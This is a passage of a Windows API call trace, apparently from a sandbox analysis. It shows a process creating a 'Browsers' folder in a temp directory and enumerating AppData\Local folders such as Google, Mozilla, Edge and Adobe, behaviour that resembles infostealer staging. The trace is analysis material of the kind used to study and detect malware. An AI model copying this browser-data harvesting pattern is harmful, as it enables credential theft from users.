lpOldMode=0x12ff094) returned 1 [0195.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff098) returned 1 [0195.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp"), fInfoLevelId=0x0, lpFileInformation=0x12ff114 | out: lpFileInformation=0x12ff114*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27de1e71, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x27de1e71, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0195.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff094) returned 1 [0195.859] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers"), lpSecurityAttributes=0x0) returned 1 [0195.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0d0) returned 1 [0195.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0195.860] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0195.861] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x38d01442, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x11920, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0195.862] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x18b3d0af, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x18b3d0af, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0195.863] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.863] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff08c) returned 1 [0195.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff098) returned 1 [0195.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0195.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0195.864] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.864] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.864] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0195.865] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.865] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.865] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0195.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0195.865] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.866] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.866] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0195.866] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0195.866] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0195.866] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0195.866] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0195.867] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0195.867] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.867] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0195.867] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0195.867] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, 